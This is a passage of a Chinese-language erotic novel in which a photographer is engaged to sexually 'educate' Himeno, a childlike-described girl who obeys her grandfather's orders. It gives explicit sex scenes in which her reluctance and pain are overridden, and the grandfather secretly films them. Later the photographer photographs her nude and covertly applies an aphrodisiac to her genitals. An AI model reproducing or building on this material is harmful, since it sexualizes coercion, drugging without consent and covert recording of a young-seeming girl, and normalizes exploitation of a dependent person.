  「所以,我们聊些彼此的事情好吗?那样做的话,我想会多少了解对方的事情,就从这里开始吧!」

  姬乃沈默片刻,不久才以生硬的表情,战战兢竞的坐在拓也的旁边。

  对于这个情形拓也只能苦笑。

  「不要那幺害怕嘛,找又不会吃了妳。」

  -这实在称不上有效的回应。

  

  

  ——————————————————————————–

  刚刚拙劣的反应虽然没造成反效果。

  但是…

  两人的对话仍迟滞不前。

  拓也基于工作,对于如何使拍摄的女性模特儿们心情的转换,多少有点心得。

  至少拓也对自己有信心。

  但是,对象是姬乃,这种技术没什幺帮助,但不管怎样仍需进行。

  「常看什幺电视节目?」

  「没有…」

  「那幺,有爱看的书吗?」

  「有的。」

  「喔…」

  -就像这样,姬乃的嘴非常的紧,很难完成彼此的对话。

  (都抓不到说话的开端!)

  拓也有种想要抱头的感觉。

  例如,对于书的问题,只要姬乃举出她喜欢看的书名的话对话就会持续,但是只有一句「有」就结束了,实在拿她没办法。

  姬乃或许不是故意的,但结果是将寝室的气氛弄的越来越凝重。

  (为什幺没有话题呢?像姬乃可以参与类似的话题…?)

  深刻但可笑的苦恼,暂时困扰着拓也。-在他的脑海中突然浮出疑问来。

  「对了,姬乃是和黑岩先生两个人一起生活吧!这幺,妳的父母该不会住在国外吧?」

  拓也未经思考,就说出他的疑问,于是姬乃像是有些寂寞的表情说着:「…父亲和母亲已经都不在了。」

  「呃?」

  「因为三年前的空难事故,已经过世了。」

  被告知真相的拓也,马上想起当时的记忆。

  「或许是那件,那时造成大轰动的客机坠机事件吗?」

  两个人所说的,是三年前巨无霸客机在太平洋上莫明其妙的发生爆炸,坠落在海上的意外事件。

  有人说原因是人为所造成的,但是事故的真相到现在都在五里雾中。

  四百人以上的乘客及空服员全部都罹难的大意外,也夺去正在旅行中的姬乃父母的生命。

  「对、对不起,跟妳问起不愉快的事!」

  拓也慌张的低下头来,但是姬乃却对他笑着。

  「不要介意,是很久以前的事了…」

  对于她的笑容,拓也有一点目瞪口呆。

  她的表情虽令人感到忧郁,却是到今天为止看过最自然,最纯真的表情。

  (也许,现在可以问出她的真心话了…)

  拓也发觉这一丝的可能性。

  「对了,对于『教育』妳的事!」

  「…」

  「我再问妳一次,真的可以吗?」

  对于单刀直入的问题,姬乃低下头来动也不动,停了一会,说了一句话。

  「…因为爷爷这样说…」

  「不要管黑岩先生所说的!」

  拓也心急似的大声喊叫。

  「我想听妳的想法!」

  「我的想法…?」

  「直言不讳的说!要被我侵犯的人可是妳哟!为什幺妳本身不能做决定呢?妳想要被我抱的话我就抱,不想被我抱的话,我就不做。不管是那一样我都不会介意的,妳自己做决定!」

  拓也的怒吼是对他自己的情慾,做最后的理性抵抗吧!照着省吾先生的指示姬乃奉献自己的身体-对于这种不合理的情况,拓也仍然无法忍受。

  但是,姬乃依然态度坚定的。

  「我…爷爷的愿望就是我的愿望,爷爷要我学习女性的悦乐的话,我也会想学。」

  「姬乃…!」

  对于她首次的明快的表白,拓也却哑口失声。

  他不知姬乃是否全是认真的,但既然她都这幺说了,拓也也无话可说。

  不知道她和省吾至今的关係的人,有资格说些什幺呢?

  「-那样说的话,妳下决心了吗?」

  拓也用着平稳却半带着自暴自弃的声音问她。

  她并未急忙点头,于是拓也等待了约一分钟。

  「…请多多指教。」

  姬乃低下头来,用温柔轻细的声音说着。

  拓也抓着她的双肩,将她的身体转向自己这边,略微的抵抗感使他感觉姬乃有点迷惑。

  「那幺,闭上眼睛,将身体的力量放鬆…」

  他尽可能的平稳地说着。

  姬乃紧闭眼睛。拓也的脸逐渐靠近着…和姬乃的嘴唇重叠在一起。

  「嗯。」

  姬乃轻微转动身体,但是拓也却不离开她的香唇。

  香草般清爽的芳香,使拓也的鼻孔发痒,是姬乃使用的洗髮精的香气吧!

  「嗯、嗯…」

  从被拓也佔满双唇的深处,姬乃发出微微的呻吟之声,似乎是对夺去初吻的慌张吧。

  姬乃的双唇像果冻一样的有弹性。

  拓也像享受这种感觉似的,好几次离开嘴唇一点点距离,又再一次温柔的强亲着。

  这时候,他的手绕到姬乃的背后,开始抱起她窈窕的身体。

  在他的手中,姬乃蠕动着上半身,两只手不知所措的徘徊在拓也的腰部。

  一瞬间停下了动作。

  拓也开始解开红色的领巾。

  一解开之后,右手就从敞开的胸口滑了进去,开始抚摸着姬乃的肌肤。

  「嗯…」

  她的肌肤被异性直接的接触-这是第一次经验,姬乃瞬间毛骨悚然。

  这是当然的反应吧!

  拓也这样的认为,但是他完全不顾她的反应用右手探求着她的胸部。

  不久指尖探索着覆盖柔软胸部的丝绸胸罩。很快的地就从这上面大力抓着姬乃的胸部。

  「好痛…!」

  姬乃这时才反射性的放开嘴唇,拓也的第一次接触似乎只带给姬乃激烈的疼痛。

  拓也有些惊慌但是马上重振精神,放鬆右手的力量,同时再次用自己的嘴唇去亲着姬乃紧闭的双唇。

  就像用手掌疼惜地玩弄着花一般,拓也爱抚着少女的双峰。

  接着,他用刚才还紧抱着姬乃的左手,开始抚摸她的背后。这是对于因紧张而僵硬的姬乃,最单纯的肌肤之亲-也给了她身体上微妙的变化。

  这对先前一直都很冰冷的姬乃的肌肤,带来徐徐的温热。

  全身浮起鸡皮疙瘩,和显示厌恶感的呻吟声也都不知不觉的平静下来。

  她全身的紧张也都慢慢解开,就像春天的融雪一样。

  在这个时候,把嘴闭成一字的双唇也逐渐的开始鬆缓了。拓也执拗的接吻,有如将紧闭的门扉慢慢的打开。

  「我要脱了,好吗?」

  她因为理解拓也的话而点头吗?

  …这连姬乃本人也不知道。

  眼前的青年持续不断的接吻和爱抚,不知不觉已夺去姬乃的思考能力。

  她所知道的,是自己的身体奇妙的发热着,与对拓也本能的拒绝反应已烟消云散了。

  -实际上,从胸部或背部到侧腹、手、脚为止。

  对于身体上所有地方被抚摸的生疏感、不快感…仍旧尚未消失。

  但是,当她发觉时…穿着内衣的她,丝绸的胸罩已慢慢的被解开。

  「啊…!」

  姬乃反射性的用手掩盖住双峰。

  「不要遮住胸部!」

  拓也立即指示她退开双手。

  姬乃两只手放下,站在拓也的前面。

  姬乃的胸部在进入思春期之后,还是第一次暴露在异性的视线之下。

  她的胸部身材是与娇小的身材相配的大小,并称不上十分丰满。

  然而,那珍珠般光泽的乳白色乳房,与小巧但形态完美如樱花颜色般的乳头,就好像是文艺复兴的雕刻般的美丽。

  但是,这不是雕刻,而是姬乃配合己身的呼吸而上下起伏着的,活的艺术品。

  拓也兴味盎然地凝视着她的胸部。

  被他盯着看-姬乃这样想着,脸上不由得就因羞耻、羞愧而泛起红晕。

  「如何?在别人面前裸体的感觉…?」

  「好害羞…」

  她用惭愧得无地自容的声音回答着,但是在这之后,她发出了短促但尖锐的悲鸣。

  「呀!」

  「怎幺了?」

  姬乃慌张地将视线从紧张地询问着的拓也身上移开。

  因为拓也在这时…

  也开始脱去衣服。

  「为,为什幺?主人先生,你要脱掉衣服呢?」

  「因为,如果不脱什幺也不能做啊…!」

  拓也想不到她会这样问。

  「…姬乃,或许妳没见过男孩子的裸体吧?」

  「是,是的…」

  姬乃用手遮住脸不动的回答着。

  但是一度灼烧在眼前的情景,不会那幺简单的消除掉。

  拓也虽不是健壮的男孩子,但体格也相当修长。

  初次这幺靠近的看着他朝气蓬勃的容姿,对姬乃来说,是很难目不转睛地正视的。

  突然…

  一丝不挂的拓也走到姬乃的前面。

  「蹲下来,看看这边!」

  听到他这幺说,姬乃不自觉的嚥下口水。

  脸红的姬乃,眼前是拓也的男根。

  「不要转移视线,好好看着。」

  发出命令的拓也那个早已耸立着,向姬乃夸示着它的勇猛。

  如周期性反覆微弱的脉博跳动,给予她好像是依自己本身意识而动作的错觉。

  「这、这是男人的…」

  姬乃好不容易想起而说出的台词,对她而言,眼前的东西简直像「肉的尖塔」。

  这时,从头上听到拓也的声音。

  「把它含在嘴里吸吮看看!」

  「什…?」

  「不用怕,没关係,只要含在妳的嘴中就可以。」

  对于这种难堪的命令,姬乃很显然的感到不知所措。

  但是,她没办法拒绝,只能尽全力张大口,将拓也的男根战战兢兢的含在口中。

  一剎那…

  姬乃的舌头渗透出淡淡的盐味。而轻微的呕吐感涌上心头后,立刻就平息了。

  「妳首先必需先习惯男人。」

  姬乃翻眼似的仰视着他,绷着脸。

  他也正对于所谓的「教女孩子欢愉」这样的难题,在他脑中反覆思考着各种尝试吧!

  「办不到的话,是不可能学会什幺女人的色豔之类的。」

  这件事,姬乃也十分了解。

  所以,她遵从着拓也的话这样做,但是…在这之后该要怎幺办呢?

  「搓动它!」

  拓也的要求接踵而来,总算让姬乃也能理解。

  「含着它,头前后摆动着,这时也不要忘记使用嘴唇或舌头刺激它。」

  因为口中含着,所以不能回答,姬乃毫不迟疑的照着拓也的指示来做动作。

  首先,头慢慢的往前推出,男根的前端就刺激喉咙的深处,她的呕吐中枢再次被刺激着。

  然后忍耐着,姬乃稍稍的收缩嘴唇,头再往后抽动,然后很快的集中嘴唇的力量,头再次的挺出。

  就好像啄木鸟的动作,在男根的尖端和根部来回吸吮着,一边有时用舌头紧贴着它。

  一旦中断活塞运动,就用舌尖滋噗滋噗的舔舐着男根前端。-这类似舔冰棒的动作,但实际上却有很大的差异。

  如果是冰棒的话,越舔它会越溶化。

  相对的,这东西随着姬乃的舔舐,逐渐的增加硬度和弹力,变得更强而有力的脉膊跳动般。

  「主人的,变成那幺大…」

  姬乃不由得将嘴巴离开男根而惊叹着。

  拓也的男根前端和刚刚看到时相比较,肿胀成了二倍。

  人类的肉体竟会有如此巨大的变化,对于身为女人的姬乃而言是很难相信的。

  拓也立刻向她说明。

  「男孩子舒服的话,就会变成这样。」

  「舒服就会…?」

  拓也的脸也有一点发热。他慢慢往姬乃的背后绕过去,用两只手包着她赤裸的孔房。

  「这次要教妳女孩子舒服的时候会如何?」

  「啊…」

  于是,稍微用力的搓揉着。

  对于姬乃而言,第一次接触胸部时的疼痛已不见了。但是,不知所措的情况仍然不变。

  再一次,姬乃的身体开始发热,这也是姬乃惊慌失措的原因。

  (为、为什幺,身体会变热呢?)

  不管怎幺思考,都无法了解理由。

  知道的事只有-胸部顶端的突起慢慢发硬,而且,覆盖着在整个身体的热感,不知不觉的开始集中在下半身了。

  「为什幺呢…?」

  姬乃不觉间说出内心的疑问。

  她的意思,拓也大致可以正确把握住。

  「姬乃还是不知道吗?这是…」

  他右手一离开乳房,手指就挂在和胸罩相同的丝质的内裤旁,然后一口气把它拉下来。

  「这是,这种事!」

  「哎呀!」

  毫无前兆的被脱下内裤,姬乃当场蹲了下来。但是拓也用手插入少女的腋下,强拉她站着。

  将那件内裤,拿到受到惊吓的姬乃面前。

  姬乃不由得把视线移开,因为那一小块绢布的股间部份,很明显的已经湿掉了。

  没有红色的不洁,所以不是生理期。也就是说在不知不觉间尿失禁吗?

  对于脸上赤红自问的姬乃,拓也给她明快的回答。

  「不是尿尿,如果是应该不会有那样粘性的水气吧!」

  他用大姆指和食指掬起附着在短衬裤上的液体,两只手指互相的压住,慢慢的拉开。

  于是拉出一条透明的丝线,很明显的这就是爱液。

  「当女孩子舒服时,这会从那边流出来。」

  「怎幺会那样…」

  太过于羞愧的姬乃变得面红耳赤。

  但是另一方面,她对所谓感到舒服的现象,还是没有怀抱具体的印象。

  「不知道吗?…有自慰过吗?」

  「啊!没…没有。」

  「这样的话,确实不知道也说不定。」

  拓也一边心里明白的嘀咕着,一边从背后开始重新再次的爱抚她的乳房。

  这次的重点放在乳头。

  从后面伸过手来,时而触摸桃色的乳头,时而捏掐、时而轻压、时而拨弹,这样强烈的刺激着姬乃本能的羞耻心。

  (我,被男人这样触摸着胸部…)

  她不经意的发出呻吟。

  「啊!」

  这并非自己的意志。从乳头到全身都有如被电流轻触过。这使得她的上半身抽动的跳了起来。

  如此更加不知所措的姬乃耳中,听到拓也带着微笑的声音。

  「怎样的感觉呢?」

  「啊,总觉得身体好像触电般的感觉…」

  「为什幺呢?知道吗?」

  「不、不知道。」

  「这就是『快感』。现在的痉挛或是内裤的湿气,这就是妳身体感到舒服的证据。」

  「这是…?」

  姬乃不是害怕,只是单纯的出乎惊讶的自言自语。

  她现在感觉的快感是自出生以来第一次见识到。可是却没有对她带来精神上的愉快。

  「啊,呀…」

  姬乃突然惊叫着,这次是充满害怕的惊叫,因为她突然发现拓也移动双脚,将她推倒在床上。

  「…主人先生,那里很髒!」

  她发出惊惶失措的声音。

  因为拓也开始强硬的撬开她紧闭的大腿,在湿润的胯股间舔了起来。

  舔舐他人的性器的想法,对于姬乃是从未有过的事。首先,如果做那样的事,不是很髒吗?

  自己因为是「主人先生」的命令而不得不遵从着,但是拓也为什幺将自己的脸埋在他人的胯股间呢?

  对姬乃而言,这实在是难以理解的行为。

  啪喳啪喳,拓也用舌头拨开姬乃的嫩毛的声音在宽广的房间里回响着。

  姬乃感到非常的难为情,心里面很想塞住耳朵。

  但是在同时,那个神秘的地方第一次被舔舐,好像有种发痒似的奇妙感觉,而使她的思考逐渐的被痲痺。

  所谓的快感,自己还没感觉到,但是,逐渐开始成熟的年轻身体,比起本人的「头脑」要来得认识何谓快感,所以她才坦率地想要接受这种感觉吧!

  「啊,主人…头脑好像一片空白…」

  姬乃总算勉强说了这些话。

  集中在下半身的灼热感,通过脊髓,也传到大脑,而中断了断断续续的思考。

  拓也没有回答,因为嘴巴(应该说舌头)正在舔舐着。他轮流交替的静静的抚摸姬乃的大腿。

  灼热感慢慢的向四肢扩散开来,全身香汗淋漓。

  羞耻心不知不觉的从从姬乃的意识消失了,她宛如漂浮在做梦后的混沌之中。

  不久,她只是以湿润的瞳孔眺望着拓也抬起头来的光景。

  突然,激痛夺去姬乃的视力和呼吸!

  「啊、啊…!」

  这简直是将身体从中央劈成两半一样的痛楚。

  她睁大原本半开的眼睛。

  鬆弛的上半身向后仰,且大声的哀号着。

  「不要用力!」

  拓也的尖锐声音立刻传来。

  「一使劲就会更痛,想要儘可能舒服的话,就放鬆吧!」

  儘管说了这样的话,但这不是那幺简单的。

  袭击姬乃花瓣的痛,并非可以等闲视之!

  拓也缓缓的抓住姬乃的腰,往自己这边挪近。

  然后,他的男根只不过仅仅放入尖端而已,就彷彿整个陷进这从未被闯入的花园。

  姬乃的全身被更可怕的痛苦激痛侵袭着。神智不清的那一剎那-就是丧失处女的瞬间。

  「啊!…好痛,主人先生…」

  呼吸好不容易恢复到能用嘴巴诉苦的程度。

  但是,这种悸动到现在还尚未平息,且全身的僵硬也都还持续不断。

  「大家的第一次都会痛。」

  「但是,为了成为女人,谁也必须经历一次疼痛的经验。」

  姬乃很难一下子就相信。

  连呼吸都会疼痛,对她而言,是没有过的经验。这种程度的疼痛,是所有女性都必须有过的经验吗?

  慢慢的,拓也开始动起腰来。

  床也配合着开始吱吱作响。

  「啊!呀,啊…啊…」

  姬乃被拓也挖掘着最敏感的地方,好几次短促呻吟着哼叫着。每次,从紧闭的眼皮之中都流出痛苦的眼泪。

  「忍耐一下!马上就会变舒服!」

  配合着语气,拓也缓慢深重的扭动着。

  好像儘可能的要减轻姬乃的痛苦。但是这时的姬乃没有余力去发觉这些。

  肿胀又出血的私处,被拓也的尖塔不断缓慢的推送,几乎要贯穿。

  在反覆的动作之中…

  姬乃的身体察觉到除了疼痛以外的感觉。身体中产生了种如天转地旋,她所不知道的奇妙感觉。

  但袭击她的痛苦感觉是压倒性的,且令她认识了未知的感觉,当然压过了那种奇妙的感受。

  「喔、喔…」

  姬乃开始呜咽。

  这也是她的身体好不容易习惯疼痛的证据。

  拓也看穿这个情形,稍微加快腰部的扭动速度。同时,他的呼吸也逐渐的加剧。

  然后,突然的…

  「唔!」

  姬乃听到短促的呻吟声。同时,她感到拓也的男根从她的私处拔出。

  拓也的身体僵硬了一下子,随后鬆缓下来。

  在姬乃的肚子上洒了几滴热液。

  房间内开始充满着独特的味道。不久,拓也在裸体的姬乃身旁躺下来。

  姬乃一边听到他剧烈的呼吸声,一边从痛苦深渊解放出来。许久间只能呆然与横卧。

  

  

  ——————————————————————————–

  「结果…和那个梦中的我,并没有太大差异。」

  拓也一脸怅然,独自在宽广的浴室裏口中喃喃自语。

  -他在第一次「教育」结束后。

  「我要打扫房间…」

  姬乃说。

  把他赶出寝室。

  在扫完之前,拓也来到浴室洗澡。但就算洗着身体,也在浴槽内浸泡,心情也未好转。

  最大的理由是,在出寝室之前,看到那幅震撼的光景。

  (照我预想…她果然是处女。)

  床单沾满着血迹。

  这彷彿像赤红的足迹践踏过洁净的雪一般。侵犯可爱少女的欢愉,就此转化成罪恶感。

  全部结束之后,姬乃的眼裏虽然有着迷惑和害怕,不过却没有憎恶的眼神。

  但是,他并不认为自己是个能够单因这种事就感到欢悦的性虐待狂。

  强夺了她不希望的初体验-那时候的自己,和在梦中侵犯着姬乃的拓也,角色重叠了。

  想到这儿,拓也的表情不免担心起来。

  「姬乃,真的不要紧吗…?」

  他凝视着旁边烟雾瀰漫的热气,阴郁地喃喃自语着。

  

  

  ——————————————————————————–

  打扫完,换完床单后,姬乃退出房间,寝室变成空无一人。

  -这情形,透过巧妙隐藏的摄影机,在某间房间的电视萤幕中播放出来。

  在鉴赏室…这是间影讯机器完备、用来鉴赏音乐、观赏录影带用的房间。

  凝视着这房间的萤幕,老人气馁地喃喃自语着。

  「还是不行吗…?」

  房间并未点灯,仅只有萤幕影像的亮光映照出他忧郁的表情。

  老人-省吾坐在摇椅上,再次喃喃自语。

  「本来想看到两人性交的情形,说不定…」

  他的右手,紧握着几十年都萎靡不振的命根子-

  

  

  ——————————————————————————–

  第三章

  -第一次「教育」后的两个星期。

  姬乃的脑海中不时的萦绕着拓也的那番话,一刻没停过。

  『不要管黑岩先生说什幺!』

  『为什幺,妳不能自己决定呢!』

  (就算问我为什幺…)

  因为拓也的问题,和姬乃的「常识」正面交锋对立着。

  省吾的嗜好是姬乃的嗜好,省吾的希望是姬乃的希望,而省吾的幸福是姬乃的幸福。

  至少她是和爷爷仅仅两个人以这种生活方式一起过了三年。而实际上,这也是一种幸福。因此,即使对省吾命令接受拓也的「教育」,姬乃对于拒绝与否,连想都没想过。

  虽然她也不是没有困惑或不安过,但她迄今仍坚信自己最后能得到幸福。然而,拓他说的也很有道理。

  『姬乃的想法是很重要的。不可能每件事都和黑岩先生有同样的看法吧!』

  像推翻自己的常识般的发言,对姬乃来说是无法相信的。但是,看到他那幺认真的样子,似乎不像是在胡说八道。

  (主人先生,你怎幺这幺说呢…我从未想过在生活中要去追求违反爷爷意志的东西…)

  儘管厨房的汤正滚沸着,但她却陷入沈思。

  在此时姬乃尚未发觉,拓也的发言在她根深蒂固的观念里埋下怀疑的种子。

  拓也的话就这样的在固定观念里被吸收也说不定,但是也有可能反过来经过萌芽和成长,破坏她的观念。

  突然,水壸滚沸的汽笛声,在厨房中迴响着。

  姬乃关掉小炉子的火。

  像平常一样开始準备泡红茶。那时候突然想起省吾昨夜的喃嘀自语。

  「拓也先生好像不太喜欢大吉岭红茶?」

  

  

  ——————————————————————————–

  -从第一天「教育」的两个星期后。

  拓也和姬乃,没有连续超过两天未做那一档事。

  在姬乃的身体上,拓也的手指和舌头没有接触到过的地方,已经不存在了。

  拓也好几次爱抚着姬乃的裸体,来回的舔舐着,在姬乃的秘密之处用自己的肉棒来回的冲刺。

  开始的二、三次,红得肿起来的私处变得能够接受男人的侵入,也不会再受到伤害。

  但是,「教育」却迟迟没有进展。

  至少,拓也是这样的深信着。这是根据实际在性交时的姬乃的表情。

  「她的表情那幺厌恶…」

  他在寝室的桌上用手托着腮,深叹了口气。被男根插入时姬乃苦闷的表情,始终在拓也的脑中萦绕。

  他知道原因不单纯只是痛楚,也没有出血,从姬乃的口中也没听到痛楚的哭诉。

  儘管如此,做爱对于姬乃来说如果仅是带给她痛苦的话…这个理由,除了强烈的厌恶感或不习惯以外不会是别的。

  也就是她现在还是「不想做爱」吧!

  但是另一方面,地也不会拒绝拓也的指示。

  如果明确拒绝的话,告诉省吾老人,这个越出常轨的教育也可能停止吧!…

  当然,真的那样做时,如果说拓也不会感到遗憾的话,那是骗人的。

  随意侵犯完美的美少女-伴随这种行为而来的罪恶感,相反的使拓也的情欲高涨。

  自己的真心和姬乃的真心…一考虑到这些,拓也自然的紧抱着头。

  「对不起…主人先生,怎幺了?」

  被进入寝室的姬乃一说,拓也才注意到自己抱着头。

  「不、不,没什幺。」

  姬乃在急忙端正自己姿势的拓也眼前,整齐地排列着早餐。

  不久…在瀰边的香气里,拓也的表情有些不一样。好像和平常的早餐混杂着不一样的香味吧?

  「今天,不是泡和往常一样的大吉岭红茶,而是泡阿萨姆红茶。」

  姬乃说着。

  「为什幺呢?」

  「因为平时的红茶好像无法满足主人先生,所以爷爷叫我更换茶的种类看看…」

  对于拓也而言,这是个意外的回答。

  的确,对于咖啡族的他,未曾批评过红茶的味道。

  但是这是他对于红茶的种类没有那幺大的兴趣,绝对不是感到以往的红茶不好喝。

  阿萨姆红茶比起大吉岭红茶香味较强,对这个香味儘管无法感到释怀,但拓他仍喝了一口看看。

  脸上略微皱起眉头。

  不只香味,不协调的感觉也很强。

  「我比较过了,不好意思,趁我吃早餐时,麻烦帮我换回平常的红茶。」

  拜託她后,姬乃马上回到厨房。

  -拓也放最后一片土司在口中时,姬乃回来了。

  「大吉岭红茶,我帮您沖好了。」

  「谢谢,那幺…」

  拓也用手拿起茶杯,静静的放在嘴边。

  「如何呢?」

  他对目不转睛凝视着的姬乃微笑着。

  「还是大吉岭红茶较好喝。」

  大吉岭的香气和味道也比较不强,但是味道却非常的好喝,喝下的感觉也很清爽。

  再次喝口阿萨姆,感受到其间差异之大。

  「我原本认为红茶任何一种都相同…但是往常的红茶,原来是这样的好喝啊!」

  「是…」

  姬乃嘴巴微微张着。

  「我和爷爷也都最喜欢大吉岭红茶。」

  「喔,儘管如此,直到刚刚有机会比较过后,才知道姬乃帮我沖泡的红茶如此好喝。我真是味觉的白痴啊!」

  「不…我只是使用较好的茶叶而已。」

  对于拓也率真的谢意,使她感到脸红了。

  这个表情,拓也没看漏。

  (才两个礼拜,表现出来的感情就有如此大的差距。)

  她的表情称不上很丰富,但是儘管如此,和初次见面时的面无表情来比较的话,姬乃的感情表现是与日俱增。对于拓也来说这是件快乐的事。

  不过,红茶竟是这幺好喝的饮料,对他而言真的是新发现啊!如果姬乃没有更换种类的话,他永远也不会发觉吧?

  「…对了!」

  拓也突然用手掌用力拍着桌面。因为这个冲击,杯子里面的茶,差一点就溢出来。

  「怎幺了呢?」

  受到惊吓的姬乃急忙询问着。而他脑海里正迅速思考一闪而过的点子。

  (的确,如果有机会的话。或是…)

  姬乃以怪异的表情,凝视着再次陷入深思的拓也。

  

  

  ——————————————————————————–

  黑岩家的浴室非常的宽广。姬乃每天如何清扫呢?拓也感到非常的不可思议。

  问过理由后,省吾说道:「因为不常外出,我想至少在家中可以奢侈的生活。」

  白色和淡蓝色统一的内装,并不华丽但品味不俗。

  两个浴缸中,一个是可喷出泡泡的按摩浴缸。拓也现在正坐在按摩浴缸的边缘,等着姬乃的到来。

  「真的会顺利吗…?」

  拓也一边凝视着浴缸旁放的小瓶子,一边感到怀疑的喃喃自语着。

  在他耳边听到很小的声音传来。

  「让您久等了,主人先生。」

  「喔!妳来了!」

  拓也眼睛注视着对方。

  姬乃穿着上下各一件式的睡衣。

  浅粉红色的丝绸睡衣,令幼小脸庞的姬乃更突显出她的稚气与可爱。

  「主人先生,这个打扮真的可以吗?」

  对于感到不可思议的她,拓也仅仅说了一句「不要介意」。事实上,他有他的考量。

  原本要使姬乃学会女孩子的色豔-也就是教她做爱行为,就是极为怪异且非现实的事情。

  这些事,在日常生活中进行的话,姬乃的「教育」会混乱她平常的生活吧!

  因为这种异常的行为,会变的极为平常。

  唯独那个是拓也想避免的。

  所以他让姬乃尝试穿着女僕制服或网球套装等等扮装游戏,无非是想把「教育」留在「非日常的行为」的範畴之中。

  (我不是在说不负责任的话…但我绝对不想让姬乃认为和没有关係的男人做爱是理所当然的!)

  为了不使她误以为自己的肉慾生活是正常的,拓也下了决心。

  不过,在浴室中还在玩着扮装游戏,说不定是有一点儿过份…

  伫立在烟雾中穿着睡衣的姬乃,蕴酿出一种独具风格的魅力。

  「如果这不是睡衣而是睡袍,说不定看起来会像天上的仙女。」

  拓也一边笑一边说,但姬乃的笑容变的僵硬。

  「是、是这样吗…?」

  恐怕姬乃开始感到从以前怀抱着的不协调感吧!这个反应是拓也最大的烦恼。

  到底,这股强烈拒绝的反应是可以去除掉的吗?

  (首先,不做做看的话是不知道的。)

  下了决心的拓也一边準备相机一边说着。

  「裤子脱掉,坐在浴缸旁。」

  「是的。」

  姬乃仍然不会违背拓也的命令。但是,比起以前更清楚的可以从脸上看出紧张和不安。

  「啊…内裤也要吗?」

  「当然,下半身裸露出来吧!」

  姬乃听着拓也的话,解开波纹褶边的内裤,缓缓的坐下。

  「脚张开!」

  「是…」

  拓也一準备防水相机,姬乃就害羞的将脸背过去。

  拓他并未要姬乃更换姿势,就开始拍起相片来。

  羞耻而发抖的美少女的样子,和仅仅下半身裸露的姿态互相结合,是非常刺激的。

  不久,底片一捲拍完,拓也就在姬乃面前跪了下来。

  「怎,怎幺…?」

  「不要动!」

  制止惊慌失措的姬乃后,拿起刚刚準备的小瓶子。

  一打开盖子,瓶中是白色的软膏。而用左手指头掬取后,拓也将右手伸往姬乃的胯股间。

  一用手拨开姬乃的嫩草,就露出形状漂亮的花卉。

  用手指头轻轻的拨开这花卉一探究竟,从中间显露出颇具光泽的媚肉。

  拓也在那表面上用软膏仔细的涂抹。

  「主、主人先生…您在涂抹什幺东西呢?」

  背过脸去的姬乃只能用斜眼来看。但是拓也并没说明,仅仅这样的说着:「过一会儿就知道。」

  大概使用这小瓶子的五分之一后,拓也离开姬乃。

  「那幺,这次站在那边。」

  「这边吗?」

  「嗯,那边就行了。」

  遵照他的指示,姬乃站在洗澡的地方。

  挂在墙壁上的镜子里映照出她那如白色水蜜桃般的屁股。

  拓也看到她的姿态,再次的拿起底片。

  「那个,差不多…可以穿上内裤了吗?」

  「不行,就这样-妳,不要用手遮住那个地方!脚稍微的张开。」

  他一边提出要求,一边按着快门。但是这次和上次不一样,仅仅只拍下半身,为什幺呢?

  因为他要让姬乃儘可能的将意识集中在下半身。约十分钟后起了变化。

  

  

  ——————————————————————————–

  「…主人先生。」

  「什幺?」

  「你涂抹的,是什幺东西呢?」

  姬乃询问着,眼睛开始湿润了。

  而拓也却假装不知道的回答着。

  「没什幺大不了的东西,不用担心,对身体无害。」

  但是,对于姬乃而言…

  她好像不能相信这些话。

  「但是,为什幺会有这种变化…」

  姬乃像是哭诉的眼神凝视着他。

  看到这样,拓也确信软膏已经起了功效。

  但是嘴色却这样说。

  「是怎样的变化呢?」

  「是…」

  姬乃一边频频的扭动着大腿,一边寻找着话来回答。但总觉得很难清楚的回答。

  拓也就代为答覆。

  「那边,很热吧?」

  「是的,那个…」

  姬乃被他说中了,脸色大变。在断续回答的时候,她的大腿开始颤动着。

  不久,她的膝盖开始发抖。

  「妳在做什幺?不要动,这样不能拍照。」

  「啊!对不起。」

  责备和谢罪。

  知道大腿发抖的原因的人,不是被责备的姬乃,而是拓也。

  (差不多了,再过一分钟,她应该站不住脚了。)

  他的预测很正确,约数十秒后…

  姬乃累的当场坐了下来。

  「谁叫妳坐呢?」

  「可是,主人先生,我真的好难受喔!」

  「那边,是吗?」

  「是的…」

  姬乃像是急促叫嚷般的回答,侵袭下半身强烈的感觉,是羞耻心开始动摇的证据。

  拓地放下相机,不由分说地就将她的脚给拨开。

  「啊!」

  姬乃失去平衡,整个人翻倒过去。在她的大腿上…被透明的爱液完全弄湿了。

  「为什幺会这样的湿呢?」

  拓也故意的把脸贴近姬乃的耳边问着她。

  「我、我不知道…」

  姬乃的回答像蚊子的声音一样。

  她不知道-在自己的私处被涂抹的东西,叫做春药。说不定她从来不知道有春药这种东西的存在。

  因为这春药的刺激,她的私处略微的充着血,在涂抹着软膏的私处深处也泛着同样的红潮吧。

  从狭小的秘缝中,爱液一波一波的渗出。

  姬乃的理性被抛在脑后,肉体则因这从没有过的经验,敏感的产生反应。

  「好漂亮啊!妳的嫩毛被爱液沾得闪闪发光啊!」

  拓也故意用鄙猥的表现和姬乃对话着。

  于是姬乃不仅是脸,全身都发热着。

  「好害羞…」

  「害羞?如果是的话,那停止吧!」

  拓也立刻从姬也身旁离开,再次的坐在浴缸旁。

  这时,姬乃浮现出困惑的表情。私处的抽痛,现在好像渐渐达到难以忍受的程度了。

  「啊!啊!…主人先生,怎样做才好呢?」

  她的问题的意思,可正确的理解。儘管如此,拓也却坏心眼的反问她。

  「怎幺做呢?我全然不懂妳的问题。妳到底要问我什幺?」

  「啊!我那边好烫,好痒…」

  「是喔!」

  「该怎幺做…怎幺做才能让它平静呢?主人先生!」

  姬乃不顾羞耻的叫着。

  但…

  拓也的回答却很冷淡。

  「自己想想看有什幺方法吧。」

  「想办法…?」

  「例如,妳有手指吧!用手指去抚摸那边看看!」

  姬乃按他的说法,用右手的手指,战战兢兢的开始往下腹部伸过去。

  当场表现出反应来。

  「嗯!」

  和现在为止明显不同的叫声从她的口中涌出。瞬间,她漂亮的裸体轻颤了一下。

  「如何呢?舒服吗?」

  拓也这样的问着。

  姬乃茫然若失的望着他。

  「我不知道…只是,体内好像电流跑过一样…」

  「第一次」的时候也是陈述着类似的感觉。

  但是,在这后面却不一样。

  姬乃手也没抽回,就这样的用手指在跨股间抚摸着。

  最初还战战兢兢,但是逐渐大胆的用手指头,玩弄被爱液淋湿的私处。

  「嗯…啊!」

  姬乃无法抑止地激烈喘息着。

  空着的左手,开始从睡衣上面搓揉自己的胸部,也许是无意识的行为也说不定。

  从嘴边不知不觉的流出唾液来。

  在脖子上留下一条透明的纹路。

  这是拓也好久以来所期待的癡态。

  (姬乃终于感到何谓「舒服」的快感了吧!)

